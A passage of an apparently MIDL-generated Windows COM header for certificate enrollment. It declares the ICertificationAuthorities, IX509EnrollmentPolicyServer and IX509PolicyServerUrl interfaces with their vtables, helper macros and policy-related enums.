Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertificationAuthority_get_Property(This,property,pValue)\t\\\n    ( (This)->lpVtbl -> get_Property(This,property,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertificationAuthority_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertificationAuthorities_INTERFACE_DEFINED__\n#define __ICertificationAuthorities_INTERFACE_DEFINED__\n\n/* interface ICertificationAuthorities */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertificationAuthorities;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"13b79005-2181-11da-b2a4-000e7bbb2b09\")\n    ICertificationAuthorities : public IDispatch\n    {\n    public:\n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_ItemByIndex( \n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt ICertificationAuthority **pVal) = 0;\n        \n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ __RPC__out long *pVal) = 0;\n        \n        virtual /* [restricted][helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Add( \n            /* [in] */ __RPC__in_opt ICertificationAuthority *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Remove( \n            /* [in] */ LONG Index) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Clear( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE ComputeSiteCosts( void) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ItemByName( \n            /* [in] */ __RPC__in BSTR strName,\n            /* [retval][out] */ __RPC__deref_out_opt ICertificationAuthority **ppValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertificationAuthoritiesVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertificationAuthorities * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertificationAuthorities * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertificationAuthorities * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertificationAuthorities * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertificationAuthorities * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertificationAuthorities * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertificationAuthorities * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByIndex )( \n            __RPC__in ICertificationAuthorities * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt ICertificationAuthority **pVal);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            __RPC__in ICertificationAuthorities * This,\n            /* [retval][out] */ __RPC__out long *pVal);\n        \n        /* [restricted][helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            __RPC__in ICertificationAuthorities * This,\n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Add )( \n            __RPC__in ICertificationAuthorities * This,\n            /* [in] */ __RPC__in_opt ICertificationAuthority *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Remove )( \n            __RPC__in ICertificationAuthorities * This,\n            /* [in] */ LONG Index);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Clear )( \n            __RPC__in ICertificationAuthorities * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *ComputeSiteCosts )( \n            __RPC__in ICertificationAuthorities * This);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByName )( \n            __RPC__in ICertificationAuthorities * This,\n            /* [in] */ __RPC__in BSTR strName,\n            /* [retval][out] */ __RPC__deref_out_opt ICertificationAuthority **ppValue);\n        \n        END_INTERFACE\n    } ICertificationAuthoritiesVtbl;\n\n    interface ICertificationAuthorities\n    {\n        CONST_VTBL struct ICertificationAuthoritiesVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertificationAuthorities_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertificationAuthorities_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertificationAuthorities_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertificationAuthorities_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertificationAuthorities_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertificationAuthorities_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertificationAuthorities_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertificationAuthorities_get_ItemByIndex(This,Index,pVal)\t\\\n    ( (This)->lpVtbl -> get_ItemByIndex(This,Index,pVal) ) \n\n#define ICertificationAuthorities_get_Count(This,pVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pVal) ) \n\n#define ICertificationAuthorities_get__NewEnum(This,pVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pVal) ) \n\n#define ICertificationAuthorities_Add(This,pVal)\t\\\n    ( (This)->lpVtbl -> Add(This,pVal) ) \n\n#define ICertificationAuthorities_Remove(This,Index)\t\\\n    ( (This)->lpVtbl -> Remove(This,Index) ) \n\n#define ICertificationAuthorities_Clear(This)\t\\\n    ( (This)->lpVtbl -> Clear(This) ) \n\n#define ICertificationAuthorities_ComputeSiteCosts(This)\t\\\n    ( (This)->lpVtbl -> ComputeSiteCosts(This) ) \n\n#define ICertificationAuthorities_get_ItemByName(This,strName,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ItemByName(This,strName,ppValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertificationAuthorities_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0072 */\n/* [local] */ \n\ntypedef \nenum X509EnrollmentPolicyLoadOption\n    {\n        LoadOptionDefault\t= 0,\n        LoadOptionCacheOnly\t= 1,\n        LoadOptionReload\t= 2,\n        LoadOptionRegisterForADChanges\t= 4\n    } \tX509EnrollmentPolicyLoadOption;\n\n\nenum EnrollmentPolicyFlags\n    {\n        DisableGroupPolicyList\t= 0x2,\n        DisableUserServerList\t= 0x4\n    } ;\ntypedef \nenum PolicyServerUrlPropertyID\n    {\n        PsPolicyID\t= 0,\n        PsFriendlyName\t= 1\n    } \tPolicyServerUrlPropertyID;\n\ntypedef \nenum X509EnrollmentPolicyExportFlags\n    {\n        ExportTemplates\t= 0x1,\n        ExportOIDs\t= 0x2,\n        ExportCAs\t= 0x4\n    } \tX509EnrollmentPolicyExportFlags;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0072_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0072_v0_0_s_ifspec;\n\n#ifndef __IX509EnrollmentPolicyServer_INTERFACE_DEFINED__\n#define __IX509EnrollmentPolicyServer_INTERFACE_DEFINED__\n\n/* interface IX509EnrollmentPolicyServer */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509EnrollmentPolicyServer;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"13b79026-2181-11da-b2a4-000e7bbb2b09\")\n    IX509EnrollmentPolicyServer : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ __RPC__in BSTR bstrPolicyServerUrl,\n            /* [in] */ __RPC__in BSTR bstrPolicyServerId,\n            /* [in] */ X509EnrollmentAuthFlags authFlags,\n            /* [in] */ VARIANT_BOOL fIsUnTrusted,\n            /* [in] */ X509CertificateEnrollmentContext context) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE LoadPolicy( \n            /* [in] */ X509EnrollmentPolicyLoadOption option) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetTemplates( \n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplates **pTemplates) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetCAsForTemplate( \n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate,\n            /* [retval][out] */ __RPC__deref_out_opt ICertificationAuthorities **ppCAs) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetCAs( \n            /* [retval][out] */ __RPC__deref_out_opt ICertificationAuthorities **ppCAs) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Validate( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetCustomOids( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppObjectIds) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetNextUpdateTime( \n            /* [retval][out] */ __RPC__out DATE *pDate) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetLastUpdateTime( \n            /* [retval][out] */ __RPC__out DATE *pDate) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetPolicyServerUrl( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetPolicyServerId( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetFriendlyName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetIsDefaultCEP( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetUseClientId( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetAllowUnTrustedCA( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetCachePath( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetCacheDir( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetAuthFlags( \n            /* [retval][out] */ __RPC__out X509EnrollmentAuthFlags *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE SetCredential( \n            /* [in] */ LONG hWndParent,\n            /* [in] */ X509EnrollmentAuthFlags flag,\n            /* [in] */ __RPC__in BSTR strCredential,\n            /* [in] */ __RPC__in BSTR strPassword) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE QueryChanges( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeImport( \n            /* [in] */ VARIANT val) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Export( \n            /* [in] */ X509EnrollmentPolicyExportFlags exportFlags,\n            /* [retval][out] */ __RPC__out VARIANT *pVal) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Cost( \n            /* [retval][out] */ __RPC__out DWORD *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Cost( \n            /* [in] */ DWORD value) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509EnrollmentPolicyServerVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509EnrollmentPolicyServer * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509EnrollmentPolicyServer * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509EnrollmentPolicyServer * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [in] */ __RPC__in BSTR bstrPolicyServerUrl,\n            /* [in] */ __RPC__in BSTR bstrPolicyServerId,\n            /* [in] */ X509EnrollmentAuthFlags authFlags,\n            /* [in] */ VARIANT_BOOL fIsUnTrusted,\n            /* [in] */ X509CertificateEnrollmentContext context);\n        \n        HRESULT ( STDMETHODCALLTYPE *LoadPolicy )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [in] */ X509EnrollmentPolicyLoadOption option);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTemplates )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplates **pTemplates);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCAsForTemplate )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate,\n            /* [retval][out] */ __RPC__deref_out_opt ICertificationAuthorities **ppCAs);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCAs )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICertificationAuthorities **ppCAs);\n        \n        HRESULT ( STDMETHODCALLTYPE *Validate )( \n            __RPC__in IX509EnrollmentPolicyServer * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCustomOids )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppObjectIds);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetNextUpdateTime )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__out DATE *pDate);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetLastUpdateTime )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__out DATE *pDate);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetPolicyServerUrl )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetPolicyServerId )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetFriendlyName )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIsDefaultCEP )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetUseClientId )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetAllowUnTrustedCA )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCachePath )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCacheDir )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetAuthFlags )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__out X509EnrollmentAuthFlags *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *SetCredential )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [in] */ LONG hWndParent,\n            /* [in] */ X509EnrollmentAuthFlags flag,\n            /* [in] */ __RPC__in BSTR strCredential,\n            /* [in] */ __RPC__in BSTR strPassword);\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryChanges )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeImport )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [in] */ VARIANT val);\n        \n        HRESULT ( STDMETHODCALLTYPE *Export )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [in] */ X509EnrollmentPolicyExportFlags exportFlags,\n            /* [retval][out] */ __RPC__out VARIANT *pVal);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Cost )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__out DWORD *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Cost )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [in] */ DWORD value);\n        \n        END_INTERFACE\n    } IX509EnrollmentPolicyServerVtbl;\n\n    interface IX509EnrollmentPolicyServer\n    {\n        CONST_VTBL struct IX509EnrollmentPolicyServerVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509EnrollmentPolicyServer_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509EnrollmentPolicyServer_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509EnrollmentPolicyServer_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509EnrollmentPolicyServer_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509EnrollmentPolicyServer_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509EnrollmentPolicyServer_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509EnrollmentPolicyServer_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509EnrollmentPolicyServer_Initialize(This,bstrPolicyServerUrl,bstrPolicyServerId,authFlags,fIsUnTrusted,context)\t\\\n    ( (This)->lpVtbl -> Initialize(This,bstrPolicyServerUrl,bstrPolicyServerId,authFlags,fIsUnTrusted,context) ) \n\n#define IX509EnrollmentPolicyServer_LoadPolicy(This,option)\t\\\n    ( (This)->lpVtbl -> LoadPolicy(This,option) ) \n\n#define IX509EnrollmentPolicyServer_GetTemplates(This,pTemplates)\t\\\n    ( (This)->lpVtbl -> GetTemplates(This,pTemplates) ) \n\n#define IX509EnrollmentPolicyServer_GetCAsForTemplate(This,pTemplate,ppCAs)\t\\\n    ( (This)->lpVtbl -> GetCAsForTemplate(This,pTemplate,ppCAs) ) \n\n#define IX509EnrollmentPolicyServer_GetCAs(This,ppCAs)\t\\\n    ( (This)->lpVtbl -> GetCAs(This,ppCAs) ) \n\n#define IX509EnrollmentPolicyServer_Validate(This)\t\\\n    ( (This)->lpVtbl -> Validate(This) ) \n\n#define IX509EnrollmentPolicyServer_GetCustomOids(This,ppObjectIds)\t\\\n    ( (This)->lpVtbl -> GetCustomOids(This,ppObjectIds) ) \n\n#define IX509EnrollmentPolicyServer_GetNextUpdateTime(This,pDate)\t\\\n    ( (This)->lpVtbl -> GetNextUpdateTime(This,pDate) ) \n\n#define IX509EnrollmentPolicyServer_GetLastUpdateTime(This,pDate)\t\\\n    ( (This)->lpVtbl -> GetLastUpdateTime(This,pDate) ) \n\n#define IX509EnrollmentPolicyServer_GetPolicyServerUrl(This,pValue)\t\\\n    ( (This)->lpVtbl -> GetPolicyServerUrl(This,pValue) ) \n\n#define IX509EnrollmentPolicyServer_GetPolicyServerId(This,pValue)\t\\\n    ( (This)->lpVtbl -> GetPolicyServerId(This,pValue) ) \n\n#define IX509EnrollmentPolicyServer_GetFriendlyName(This,pValue)\t\\\n    ( (This)->lpVtbl -> GetFriendlyName(This,pValue) ) \n\n#define IX509EnrollmentPolicyServer_GetIsDefaultCEP(This,pValue)\t\\\n    ( (This)->lpVtbl -> GetIsDefaultCEP(This,pValue) ) \n\n#define IX509EnrollmentPolicyServer_GetUseClientId(This,pValue)\t\\\n    ( (This)->lpVtbl -> GetUseClientId(This,pValue) ) \n\n#define IX509EnrollmentPolicyServer_GetAllowUnTrustedCA(This,pValue)\t\\\n    ( (This)->lpVtbl -> GetAllowUnTrustedCA(This,pValue) ) \n\n#define IX509EnrollmentPolicyServer_GetCachePath(This,pValue)\t\\\n    ( (This)->lpVtbl -> GetCachePath(This,pValue) ) \n\n#define IX509EnrollmentPolicyServer_GetCacheDir(This,pValue)\t\\\n    ( (This)->lpVtbl -> GetCacheDir(This,pValue) ) \n\n#define IX509EnrollmentPolicyServer_GetAuthFlags(This,pValue)\t\\\n    ( (This)->lpVtbl -> GetAuthFlags(This,pValue) ) \n\n#define IX509EnrollmentPolicyServer_SetCredential(This,hWndParent,flag,strCredential,strPassword)\t\\\n    ( (This)->lpVtbl -> SetCredential(This,hWndParent,flag,strCredential,strPassword) ) \n\n#define IX509EnrollmentPolicyServer_QueryChanges(This,pValue)\t\\\n    ( (This)->lpVtbl -> QueryChanges(This,pValue) ) \n\n#define IX509EnrollmentPolicyServer_InitializeImport(This,val)\t\\\n    ( (This)->lpVtbl -> InitializeImport(This,val) ) \n\n#define IX509EnrollmentPolicyServer_Export(This,exportFlags,pVal)\t\\\n    ( (This)->lpVtbl -> Export(This,exportFlags,pVal) ) \n\n#define IX509EnrollmentPolicyServer_get_Cost(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Cost(This,pValue) ) \n\n#define IX509EnrollmentPolicyServer_put_Cost(This,value)\t\\\n    ( (This)->lpVtbl -> put_Cost(This,value) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509EnrollmentPolicyServer_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509PolicyServerUrl_INTERFACE_DEFINED__\n#define __IX509PolicyServerUrl_INTERFACE_DEFINED__\n\n/* interface IX509PolicyServerUrl */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509PolicyServerUrl;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"884e204a-217d-11da-b2a4-000e7bbb2b09\")\n    IX509PolicyServerUrl : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ X509CertificateEnrollmentContext context) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Url( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *ppValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Url( \n            /* [in] */ __RPC__in BSTR pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Default( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Default( \n            /* [in] */ VARIANT_BOOL value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Flags( \n            /* [retval][out] */ __RPC__out PolicyServerUrlFlags *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Flags( \n            /* [in] */ PolicyServerUrlFlags Flags) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_AuthFlags( \n            /* [retval][out] */ __RPC__out X509EnrollmentAuthFlags *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_AuthFlags( \n            /* [in] */ X509EnrollmentAuthFlags Flags) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Cost( \n            /* [retval][out] */ __RPC__out DWORD *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Cost( \n            /* [in] */ DWORD value) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetStringProperty( \n            /* [in] */ PolicyServerUrlPropertyID propertyId,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *ppValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE SetStringProperty( \n            /* [in] */ PolicyServerUrlPropertyID propertyId,\n            /* [in] */ __RPC__in BSTR pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE UpdateRegistry( \n            /* [in] */ X509CertificateEnrollmentContext context) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE RemoveFromRegistry( \n            /* [in] */ X509CertificateEnrollmentContext context) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509PolicyServerUrlVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509PolicyServerUrl * This);\n        \n        